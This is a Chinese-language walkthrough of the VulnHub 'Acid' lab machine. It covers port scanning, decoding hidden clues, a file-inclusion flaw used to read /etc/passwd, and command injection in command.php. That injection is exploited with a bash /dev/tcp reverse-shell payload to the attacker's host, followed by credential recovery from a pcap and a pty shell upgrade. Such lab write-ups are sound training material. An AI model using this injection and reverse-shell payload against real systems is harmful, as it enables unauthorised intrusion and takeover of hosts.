前言
本次的实验的靶机是VulnHub上的Acid靶机, https://www.vulnhub.com/entry/acid-server,125/ 。下载下来的文件是ova文件,导入vmware或是virtual box即可,要把网络模式调节为DHCP,默认好像是桥接模式。
信息收集
第一步先收集靶机信息,先确定靶机地址nmap -sP 192.168.247.1/24
:
1 | kali@kali:~/Pictures$ nmap -sP 192.168.247.1/24 |
192.168.247.210
是攻击机kali的ip地址,所以靶机的ip地址就是192.168.247.212
。
然后用nmap看看目标主机上开启了什么服务,nmap -p1-65525 -A 192.168.247.212 -oN /tmp/Acid.txt
:
1 | kali@kali:~/Pictures$ nmap -p1-65535 -A 192.168.247.212 -oN /tmp/Acid.txt |
目标主机上开启了apache服务。
漏洞挖掘
访问网页看看是什么东西:
发现标签页上写着/Challenge
,说明网页存在子目录http://192.168.247.212:33447/Challenge
。然后F12查看源码代码发现一串可疑的hex码0x643239334c6d70775a773d3d
:
用burpsuite解码后发现是一串base64编码的字符串,再次解码,得到一个字符串wow.jpg
,这是一张图片啊:
但是直接去访问http://192.168.247.212:33447/Challenge/wow.jpg
或是http://192.168.247.212:33447/wow.jpg
都是404 not found,说明这个wow.jpg
并不在web root目录或是Challenge
目录下。先用dirb
快速地扫一下目录:
仅发现了两个目录:
1 | /css |
这图片十分有可能在目录images/
下,访问http://192.168.247.212:33447/images/wow.jpg
,果然找到了图片:
我们把这张图片下载下来:
这张图片中肯定有点什么猫腻,直接cat命令查看一下:
得到一串序列:37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34
。
去掉其中地:
就是3761656530663664353838656439393035656533376631366137633631306434
,拿到burp的decode模块中解码,得到了一串md5值:
那只能拿去解码看看:
解码得到63425
,这可能是什么登录密码。但是目前我们没有更多的信息。
爆破目录
我们用Dirbuster
爆破一下网站目录和文件,用大一点的字典比较好:
看一下树形结构图会更清楚:
目前爆出的网页有:
1 | /Challenge |
依次访问,首先是/Challenge/index.php
:
这是一个登录界面,猜测应该还有一个注册界面register.php
,但是事实是没有。。。右键源码也没发现什么有价值的东西,继续看别的页面。
然后是/Challenge/include.php
页面,但是第一次访问它直接跳转到了protected_page.php
,根据提示,是没有身份凭证,无法访问该页面,需要先login:
那先访问/Challenge/cake.php
:
乍一看好像也没有什么特别的信息,但是看页面的标签,发现了一个新的目录/Magic_Box
,是之前没有扫出来的。直接访问该目录是禁止的:
然后我随便尝试了下登录,奇怪的是,再去尝试访问Challenge/hacked.php
已经有其他信息了,要求你输入一个id:
这里很自然的就想到是前面得到的md5解密后的63425
,emmm…但是输入后什么用都没有…难道就是一个障眼法?
接着访问include.php
:
尝试提取/etc/passwd
,提交后发现快速闪过该文件内容,所以用burp抓包观察一下:
所以/Challenge/include.php
文件中存在一个文件包含漏洞。那接下来就依次读取一下每一个文件的源码:
1 | GET /Challenge/include.php?file=index.php&add=Extract+File HTTP/1.1 |
但是返回的结果全都是html页面源码,那么再用Dirbuster
爆破一下目录/Challenge/Magic_Box
,注意一定要将Dir to start with
修改为/Challenge/Magic_Box
,否则会从网站根目录/
开始扫描:
扫出了两个新文件/Challenge/Magic_Box/low.php
和/Challenge/Magic_Box/command.php
:
访问/Challenge/Magic_Box/low.php
没有回显,但是command.php
要求我们输入一个ip:
这种题目之前的ctf见过很多了,就是命令执行。直接输入127.0.0.1;ls
看什么效果:
执行了命令,确实存在命令执行漏洞。
get shell
反弹shell
既然在/Challenge/Magic_Box/command.php
中存在一个命令执行漏洞,那就可以通过反弹shell来控制目标主机:
1 | 127.0.0.1;echo "bash -i >& /dev/tcp/192.168.247.210/23333 0>&1" | bash |
然后希望向目标主机写入一个shell,方便后续链接蚁剑上传文件,发现只有Challenge
目录有写权限drw-rw-rwx
:
1 | ww-data@acid:/var/www/html$ ls -al |
然后连接上蚁剑后是这样的,有点懵…什么情况?
提权
本来我的想法是根据当前的内核版本,看看有没有相关漏洞,进行一个本地提权。但是似乎当前的shell提供的命令很少,连gcc编译都无法进行。联想到前面利用/Challenge/include.php
文件包含漏洞获得的/etc/passwd
:
1 | root:x:0:0:root:/root:/bin/bash |
最后一个字段是当用户登录系统后被分配的shell,可以看到只有3个用户登录后是标准shell,分别是:
1 | root:x:0:0:root:/root:/bin/bash |
其余的用户对应的shell是/bin/false
和/usr/sbin/nologin
。
/bin/false : 最严格的禁止login选项,一切服务都不能用。将用户的shell设置为/bin/false,用户会无法登录,并且不会有任何提示
/usr/sbin/nologin : 只是不允许login系统,即使给了密码也不行,但是可以使用主机上的一些服务。
但是因为切换到其他用户需要密码,搜索一下与该用户相关的文件
1 | find / -user acid 2>/dev/null |
2>/dev/null
表示不输出标准错误。linux系统预留了三个文件描述符:0,1和2,它们的意义为:
0 : 标准输入(stdin)
1 : 标准输出(stdout)
2 : 标准错误(stderr)
一个可以的pcapng
流量包,将其下载到攻击机kali进行分析:
1 | www-data@acid:/var/www/html/Challenge/Magic_Box$ scp /sbin/raw_vs_isi/hint.pcapng 192.168.247.210:/home/kali/Downloads |
scp
命令用不了,应该是ssh
服务没有安装好。因为python内置了一个简单的http服务,那就用python开一个http服务。进入需要分享的文件所在目录,执行下面一行命令:
1 | python -m SimpleHTTPServer 80 |
访问目标主机的80端口就能下载该文件。wireshark打开后,跟踪tcp流:
发现saman
用户的密码1337hax0r
。
获取标准shell
然后su
到saman
用户,但是因为当前的shell权限不足,运行失败:
1 | www-data@acid:/var/www/html/Challenge/Magic_Box$ su saman |
所以首先要获得一个标准shell。
这表明,必须先获得一个标准shell。这里可以借用python的pty
模块,pty
模块允许派生一个psuedo-terminal
,它可以欺骗像su
这样的命令,使其认为它们是在一个合适的终端中被执行的。要升级shell,只需要运行以下命令:
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
这样就可以获得一个标准shell,su
命令已经可以正常运行:
1 | www-data@acid:/var/www/html/Challenge/Magic_Box$ python -c 'import pty; pty.spawn("/bin/bash")' |
到目前为止,已经成功获得了目标主机的控制。